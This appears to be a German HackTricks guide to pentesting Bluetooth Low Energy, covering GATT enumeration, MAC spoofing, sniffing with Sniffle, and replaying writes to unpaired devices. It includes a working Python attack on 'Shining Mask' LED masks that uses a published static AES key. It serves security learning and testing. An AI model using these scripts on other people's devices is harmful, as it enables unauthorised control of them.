Pentesting BLE - Bluetooth Low Energy

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Einführung

Seit der Bluetooth 4.0-Spezifikation verwendet BLE nur 40 Kanäle und deckt den Bereich von 2400 bis 2483,5 MHz ab. Im Gegensatz dazu verwendet klassisches Bluetooth in demselben Bereich 79 Kanäle.

BLE-Geräte kommunizieren, indem sie advertising packets (beacons) senden; diese Pakete übertragen die Existenz des BLE-Geräts an andere in der Nähe befindliche Geräte. Diese beacons senden manchmal auch Daten.

Das horchende Gerät, auch als zentrales Gerät bezeichnet, kann auf ein advertising packet mit einer speziell an das werbende Gerät gesendeten SCAN request antworten. Die response auf diesen Scan verwendet dieselbe Struktur wie das advertising-Packet, enthält jedoch zusätzliche Informationen, die nicht in die ursprüngliche Advertising-Anfrage passten, wie z. B. den vollständigen Gerätenamen.

Das Preamble-Byte synchronisiert die Frequenz, während die vierbyteige access address ein Connection-Identifier ist, der in Szenarien verwendet wird, in denen mehrere Geräte versuchen, Verbindungen auf denselben Kanälen herzustellen. Danach enthält die Protocol Data Unit (PDU) die advertising data. Es gibt mehrere Typen von PDU; die am häufigsten verwendeten sind ADV_NONCONN_IND und ADV_IND. Geräte verwenden den PDU-Typ ADV_NONCONN_IND, wenn sie keine Verbindungen akzeptieren und Daten nur im advertising packet übertragen. Geräte verwenden ADV_IND, wenn sie Verbindungen zulassen und nach dem Herstellen einer Connection aufhören, advertising packets zu senden.

GATT

Das Generic Attribute Profile (GATT) definiert, wie das Gerät Daten formatieren und übertragen sollte. Wenn du die Angriffsfläche eines BLE-Geräts analysierst, konzentrierst du dich häufig auf das GATT (oder GATTs), weil darüber Gerätefunktionalität ausgelöst wird und wie Daten gespeichert, gruppiert und verändert werden. Das GATT listet die characteristics, descriptors und services eines Geräts in einer Tabelle als 16- oder 32-Bit-Werte auf. Eine characteristic ist ein Datenwert, der zwischen dem zentralen Gerät und dem Peripheriegerät gesendet wird. Diese characteristics können descriptors haben, die zusätzliche Informationen über sie bereitstellen. Characteristics werden oft in services gruppiert, wenn sie zusammenhängen, um eine bestimmte Aktion auszuführen.

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool ermöglicht es, eine Verbindung zu einem anderen Gerät herzustellen, dessen Charakteristiken aufzulisten und dessen Attribute zu lesen und zu schreiben.
GATTTool kann mit der Option -I eine interaktive Shell starten:

GATTTool interaktive Verwendung und Beispiele ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing und aktives Steuern nicht-gekoppelter BLE-Geräte

Viele kostengünstige BLE-Peripheriegeräte erzwingen kein pairing/bonding. Ohne bonding wird die Link Layer-Verschlüsselung nie aktiviert, sodass ATT/GATT-Verkehr im Klartext vorliegt. Ein off-path sniffer kann der Verbindung folgen, GATT-Operationen decodieren, um Characteristic-Handles und Werte zu ermitteln, und jeder nahe Host kann sich dann verbinden und diese Schreibvorgänge wiederholen, um das Gerät zu steuern.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: ein Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352), neu geflasht mit der Sniffle-Firmware der NCC Group.

Sniffle und sein Wireshark extcap unter Linux installieren:

Sniffle extcap installieren (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Sonoff mit Sniffle-Firmware flashen (stellen Sie sicher, dass Ihr serielles Gerät übereinstimmt, z. B. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

In Wireshark über das Sniffle extcap erfassen und mittels Filter schnell zu zustandsverändernden Schreibvorgängen pivoten:

_ws.col.info contains "Sent Write Command"

Dies hebt ATT Write Commands des Clients hervor; Handle und Value bilden oft direkt Geräteeaktionen ab (z. B. write 0x01 an eine buzzer/alert characteristic, 0x00 zum Stoppen).

Sniffle CLI: schnelle Beispiele:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternativer Sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funktioniert ebenfalls. Bei kleinen/günstigen Nordic-Dongles überschreibt man typischerweise den USB bootloader, um die sniffer firmware zu laden, daher behält man entweder einen dedizierten Sniffer-Dongle oder benötigt einen J-Link/JTAG, um den bootloader später wiederherzustellen.

Aktive Steuerung über GATT

Sobald Sie ein beschreibbares Characteristic-Handle und den Wert aus dem abgehörten Traffic identifiziert haben, verbinden Sie sich als beliebiges Central und führen denselben Write aus:

  • Mit Nordic nRF Connect for Desktop (BLE app):

  • Wählen Sie den nRF52/nRF52840 Dongle, scannen und verbinden Sie sich mit dem Ziel.

  • Durchsuchen Sie die GATT-Datenbank, lokalisieren Sie die Ziel-Characteristic (hat oft einen friendly name, z. B. Alert Level).

  • Führen Sie einen Write mit den sniffed bytes aus (z. B. 01 zum Auslösen, 00 zum Stoppen).

  • Automatisieren Sie unter Windows mit einem Nordic Dongle mittels Python + blatann:

Python blatann Write-Beispiel (Windows + Nordic Dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Case study: hijacking BLE LED masks (Shining Mask family)

Billige, white‑label BLE LED‑Masken, die über die “Shining Mask” App gesteuert werden, akzeptieren Write‑Kontrollen von jedem nahegelegenen Central ohne Pairing/Bonding. Die App spricht GATT zu einer Command‑Characteristic und einer Data‑Characteristic; Commands sind mit AES‑ECB verschlüsselt und verwenden einen statischen, im App‑Code hardcodierten Schlüssel, während die Bulk‑Bilddaten unverschlüsselt sind.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Unauthenticated GATT writes
- Kein Pairing/Bonding erforderlich. Jeder Host kann verbinden und auf die Command‑UUID schreiben, um Helligkeit zu ändern, Bilder auszuwählen, Animationen zu starten, etc.
- Häufig beobachtete Ops: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Static-key AES command framing
- Frame = 1‑Byte Länge, ASCII‑Op (z. B. b"LIGHT"), Argumente, auf 16 Byte padden, AES‑ECB mit dem statischen Schlüssel aus der App verschlüsseln.
- Bekannter statischer Schlüssel (hex): 32672f7974ad43451d9c6c894a0e8764

Python‑Helfer zum Verschlüsseln und Senden eines Befehls (Beispiel: maximale Helligkeit setzen):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Image-Upload-Ablauf

  • Nach einem verschlüsselten DATS-Handshake werden rohe Chunks unverschlüsselt in die data characteristic …960a geschrieben.
  • Paketformat: [len][seq][payload]. Erfahrungsgemäß funktionieren ~100 Bytes Payload pro Packet zuverlässig.
Minimales Image-Upload-Pseudo-Code ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

## Betriebliche Hinweise

- Bevorzugen Sie Sonoff+Sniffle unter Linux für robustes Channel-Hopping und zur Verfolgung von Verbindungen. Halten Sie einen Ersatz-Nordic-Sniffer als Backup bereit.
- Ohne pairing/bonding kann ein Angreifer in der Nähe Schreibvorgänge beobachten und diese wiederholen oder eigene verfassen, die an nicht authentifizierte, beschreibbare Characteristics gesendet werden.

## References

- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>